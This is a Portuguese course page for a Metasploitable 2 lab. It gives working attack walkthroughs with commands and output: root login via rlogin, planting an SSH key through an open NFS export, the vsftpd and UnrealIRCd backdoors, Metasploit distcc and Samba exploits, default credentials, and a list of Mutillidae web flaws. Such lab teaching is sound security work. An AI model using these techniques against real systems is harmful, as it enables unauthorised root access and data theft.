Descrição
Primeiramente faça o download da maquina virtual e rode em seu VM Ware ou VirtualBox!
Link de download:https://information.rapid7.com/metasploitable-download.html
A máquina virtual Metasploitable é uma versão intencionalmente vulnerável do Ubuntu Linux projetada para testar ferramentas de segurança e demonstrar vulnerabilidades comuns. A versão 2 desta máquina virtual está disponível para download e é enviada com ainda mais vulnerabilidades do que a imagem original. Esta máquina virtual é compatível com VMWare, VirtualBox e outras plataformas de virtualização comuns. Por padrão, as interfaces de rede do Metasploitable estão vinculadas aos adaptadores de rede NAT e Host-only, e a imagem nunca deve ser exposta a uma rede hostil.
Este documento descreve muitas das falhas de segurança na imagem do Metasploitable 2. Atualmente está faltando documentação sobre falhas no servidor Web e no aplicativo da Web, bem como vulnerabilidades que permitem que um usuário local migre para privilégios de root. Este documento continuará a se expandir ao longo do tempo, já que muitas das falhas menos óbvias dessa plataforma são detalhadas.
VAMOS COMEÇAR
Após a inicialização da máquina virtual, efetue login no console com nome de usuário msfadmin e senha msfadmin. No shell, execute o comando ifconfig para identificar o endereço IP.
msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1
inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)
Quase todos esses serviços de escuta fornecem um ponto de entrada remoto no sistema. Na próxima seção, vamos percorrer alguns desses vetores.
Noções básicas sobre Unix
As portas TCP 512, 513 e 514 são conhecidas como serviços “r” e foram configuradas incorretamente para permitir o acesso remoto de qualquer host (uma situação padrão “.rhosts + +”). Para aproveitar isso, verifique se o cliente “rsh-client” está instalado (no Ubuntu) e execute o seguinte comando como seu usuário root local. Se você for solicitado por uma chave SSH, isso significa que as ferramentas do rsh-client não foram instaladas e o Ubuntu está usando o padrão SSH.
# rlogin -l root 192.168.99.131
Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#
Isso é tão fácil quanto parece. O próximo serviço que devemos observar é o Network File System (NFS). O NFS pode ser identificado pela porta de sondagem 2049 diretamente ou solicitando ao portmapper uma lista de serviços. O exemplo abaixo usando rpcinfo para identificar o NFS e showmount -e para determinar se o compartilhamento "/" (a raiz do sistema de arquivos) está sendo exportado. Você precisará dos pacotes rpcbind e nfs-common do Ubuntu para seguir adiante.
root@ubuntu:~# rpcinfo -p 192.168.99.131
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 53318 status
100024 1 tcp 43729 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 46696 nlockmgr
100021 3 udp 46696 nlockmgr
100021 4 udp 46696 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 55852 nlockmgr
100021 3 tcp 55852 nlockmgr
100021 4 tcp 55852 nlockmgr
100005 1 udp 34887 mountd
100005 1 tcp 39292 mountd
100005 2 udp 34887 mountd
100005 2 tcp 39292 mountd
100005 3 udp 34887 mountd
100005 3 tcp 39292 mountd
root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *
Ter acesso a um sistema com um sistema de arquivos gravável como esse é trivial. Para fazer isso (e porque o SSH está em execução), geraremos uma nova chave SSH em nosso sistema atacante, montaremos a exportação NFS e adicionaremos nossa chave ao arquivo authorized_keys da conta de usuário raiz:
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#
BACKDOORS: Na porta 21, o Metasploitable2 executa o vsftpd, um servidor FTP popular. Esta versão específica contém um backdoor que foi inserido no código-fonte por um intruso desconhecido. O backdoor foi rapidamente identificado e removido, mas não antes de algumas pessoas baixarem o arquivo. Se um nome de usuário for enviado e terminar na sequência :) [um rosto feliz], a versão backdoored abrirá um shell de escuta na porta 6200. Podemos demonstrar isso com o telnet ou usar o módulo Metasploit Framework para explorá-lo automaticamente:
root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.
root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
Na porta 6667, o Metasploitable2 executa o daemon IRrea UnreaIRCD. Esta versão contém um backdoor que passou despercebido durante meses - acionado enviando as letras "AB" seguindo um comando do sistema para o servidor em qualquer porta de escuta. Metasploit tem um módulo para explorar isso, a fim de ganhar um shell interativo, como mostrado abaixo.
msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
id
uid=0(root) gid=0(root)
Muito menos sutil é o antigo backdoor "ingreslock" de espera que está escutando na porta 1524. A porta ingreslock foi uma escolha popular há uma década para adicionar um backdoor a um servidor comprometido. Acessar é fácil:
root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
BACKDOORS NÃO INTENCIONAIS: Além dos backdoors maliciosos na seção anterior, alguns serviços são quase backdoors por sua própria natureza. O primeiro dos quais instalado no Metasploitable2 é distccd. Esse programa facilita escalar grandes tarefas do compilador em um farm de sistemas configurados como. O problema com este serviço é que um atacante pode facilmente abusar dele para executar um comando de sua escolha, conforme demonstrado pelo uso do módulo Metasploit abaixo.
msfconsole
msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
O Samba, quando configurado com um compartilhamento de arquivos gravável e "links largos" habilitados (o padrão é ativado), também pode ser usado como um backdoor de tipos para acessar arquivos que não deveriam ser compartilhados. O exemplo abaixo usa um módulo Metasploit para fornecer acesso ao sistema de arquivos raiz usando uma conexão anônima e um compartilhamento gravável.
root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf auxiliary(samba_symlink_traversal) > exploit
[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.99.131\tmp\rootfs\
msf auxiliary(samba_symlink_traversal) > exit
root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
SENHAS FÁCEIS: Além dos backdoors e erros de configuração mais flagrantes, o Metasploitable 2 possui péssima segurança de senha tanto para as contas do sistema quanto do banco de dados. O usuário administrativo primário msfadmin possui uma senha correspondente ao nome de usuário. Descobrindo a lista de usuários neste sistema, usando outra falha para capturar o arquivo passwd ou enumerando esses IDs de usuário via Samba, um ataque de força bruta pode ser usado para acessar rapidamente várias contas de usuário. No mínimo, as seguintes contas fracas do sistema são configuradas no sistema.
msfadmin msfadmin
user user
postgres postgres
sys batman
klog 123456789
service service
Além dessas contas no nível do sistema, o serviço PostgreSQL pode ser acessado com nome de usuário postgres e postgres de senha, enquanto o serviço MySQL é aberto para o nome de usuário root com uma senha vazia. O serviço VNC fornece acesso à área de trabalho remota usando a senha da senha.
Serviços Web Vulneráveis
O Metasploitable 2 possui aplicativos da Web deliberadamente vulneráveis pré-instalados. O servidor da web é iniciado automaticamente quando o Metasploitable 2 é inicializado. Para acessar os aplicativos da web, abra um navegador da Web e insira a URL http: // <IP> em que <IP> é o endereço IP do Metasploitable 2. Uma maneira de conseguir isso é instalar o Metasploitable 2 como um sistema operacional convidado no Virtual Caixa e alterar as configurações da interface de rede de “NAT” para “Host Only”. (Nota: Um tutorial em vídeo sobre a instalação do Metasploitable 2 está disponível aqui.)
Neste exemplo, o Metasploitable 2 está sendo executado no IP 192.168.56.101. Navegar para http://192.168.56.101/ mostra a home page do aplicativo da web.
192.168.56 / 24 é a rede padrão “somente host” do Virtual Box. Endereço IP são atribuídos a partir de “101”. Dependendo da ordem em que os sistemas operacionais convidados são iniciados, o endereço IP do Metasploitable 2 irá variar.
Para acessar um aplicativo da Web específico, clique em um dos links fornecidos. Aplicativos da Web individuais podem ser acessados anexando o nome do diretório de aplicativos em http: // <IP> para criar URL http: // <IP> / <Application Folder> /. Por exemplo, o aplicativo Mutillidae pode ser acessado (neste exemplo) no endereço http://192.168.56.101/mutillidae/. Os aplicativos são instalados no Metasploitable 2 no diretório / var / www. (Nota: Veja uma lista com o comando ls / var / www.) Na versão atual, neste momento, as aplicações são
mutillidae (NOWASP Mutillidae 2.1.19)
dvwa (maldito aplicativo da web vulnerável)
phpMyAdmin
tikiwiki (TWiki)
tikiwiki-old
dav (WebDav)
Mutillidae
O aplicativo da Web Mutillidae (NOWASP (Mutillidae)) contém todas as vulnerabilidades do OWASP Top Ten, além de várias outras vulnerabilidades, como armazenamento na Web HTML-5, cache de formulários e click-jacking. Inspirado pelo DVWA, o Mutillidae permite ao usuário mudar o “Nível de Segurança” de 0 (completamente inseguro) para 5 (seguro). Além disso, três níveis de dicas são fornecidos desde “Nível 0 – eu tento mais” (sem dicas) até “Nível 2 – noob” (Máximo de dicas). Se o aplicativo for danificado por injeções do usuário e hacks, clicar no botão “Redefinir DB” redefine o aplicativo para seu estado original.
Ativar dicas no aplicativo, clique no botão “Alternar Dicas” na barra de menu:

O aplicativo Mutillidae contém pelo menos as seguintes vulnerabilidades nestas respectivas páginas:
Page add-to-your-blog.php
SQL Injection on blog entry
SQL Injection on logged in user name
Cross site scripting on blog entry
Cross site scripting on logged in user name
Log injection on logged in user name
CSRF
JavaScript validation bypass
XSS in the form title via logged in username
The show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode
Page arbitrary-file-inclusion.php
System file compromise
Load any page from any site
Page browser-info.php
XSS via referer HTTP header
JS Injection via referer HTTP header
XSS via user-agent string HTTP header
Page capture-data.php
XSS via any GET, POST, or Cookie
Page captured-data.php
XSS via any GET, POST, or Cookie
config.inc*
Contains unencrytped database credentials
Page credits.php
Unvalidated Redirects and Forwards
Page dns-lookup.php
Cross site scripting on the host/ip field
O/S Command injection on the host/ip field
This page writes to the log. SQLi and XSS on the log are possible
GET for POST is possible because only reading POSTed variables is not enforced.
Page footer.php*
Cross site scripting via the HTTP_USER_AGENT HTTP header.
Page framing.php
Click-jacking
header.php*
XSS via logged in user name and signature
The Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1
Page html5-storage.php
DOM injection on the add-key error message because the key entered is output into the error message without being encoded
Page index.php*
You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.
You can SQL injection the UID cookie value because it is used to do a lookup
You can change your rank to admin by altering the UID value
HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header
This page is responsible for cache-control but fails to do so
This page allows the X-Powered-By HTTP header
HTML comments
There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing
Page log-visit.php
SQL injection and XSS via referer HTTP header
SQL injection and XSS via user-agent string
Page login.php
Authentication bypass SQL injection via the username field and password field
SQL injection via the username field and password field
XSS via username field
JavaScript validation bypass
Page password-generator.php
JavaScript injection
pen-test-tool-lookup.php
JSON injection
Page phpinfo.php
This page gives away the PHP server configuration
Application path disclosure
Platform path disclosure
Page process-commands.php
Creates cookies but does not make them HTML only
Page process-login-attempt.php
Same as login.php. This is the action page.
Page redirectandlog.php
Same as credits.php. This is the action page
Page register.php
SQL injection and XSS via the username, signature and password field
rene-magritte.php
Click-jacking
Page robots.txt
Contains directories that are supposed to be private
secret-administrative-pages.php
This page gives hints about how to discover the server configuration
set-background-color.php
Cascading style sheet injection and XSS via the color field
Page show-log.php
Denial of Service if you fill up the log
XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields
Page site-footer-xss-discusson.php
XSS via the user agent string HTTP header
Page source-viewer.php
Loading of any arbitrary file including operating system files.
Page text-file-viewer.php
Loading of any arbitrary web page on the Interet or locally including the sites password files.
Phishing
Page user-info.php
SQL injection to dump all usernames and passwords via the username field or the password field
XSS via any of the displayed fields. Inject the XSS on the register.php page.
XSS via the username field
Page user-poll.php
Parameter pollution
GET for POST
XSS via the choice parameter
Cross site request forgery to force user choice
Page view-someones-blog.php
XSS via any of the displayed fields. They are input on the add to your blog page.
DVWA
Da página inicial do DVWA: “A maldita vulnerável Web App (DVWA) é um aplicativo da Web PHP / MySQL que é extremamente vulnerável. Seus principais objetivos são ajudar os profissionais de segurança a testar suas habilidades e ferramentas em um ambiente legal, Os desenvolvedores entendem melhor os processos de proteção de aplicativos da Web e ajudam os professores / alunos a ensinar / aprender a segurança de aplicativos da Web em um ambiente de sala de aula. ”
O DVWA contém instruções na home page e informações adicionais estão disponíveis nas Páginas do Wiki – Damn Vulnerable Web App.
Nome de usuário padrão – admin
Senha padrão – senha
Divulgação de informação
Além disso, uma página de divulgação de informações do PHP mal aconselhada pode ser encontrada em http: // <IP> /phpinfo.php. Neste exemplo, o URL seria http://192.168.56.101/phpinfo.php. A vulnerabilidade de divulgação de informações info do PHP fornece informações internas do sistema e informações de versão do serviço que podem ser usadas para procurar vulnerabilidades. Por exemplo, observando que a versão do PHP divulgada na captura de tela é a versão 5.2.4, pode ser possível que o sistema seja vulnerável a CVE-2012-1823 e CVE-2012-2311 que afetaram o PHP antes de 5.3.12 e 5.4. x antes de 5.4.2.
Detalhes do Curso
- Leituras 0
- Quizzes 0
- Duração 50 horas
- Nível de Habilidade Todos os níveis
- Linguagem Inglês
- Alunos 2
- Critérios de avaliação Sim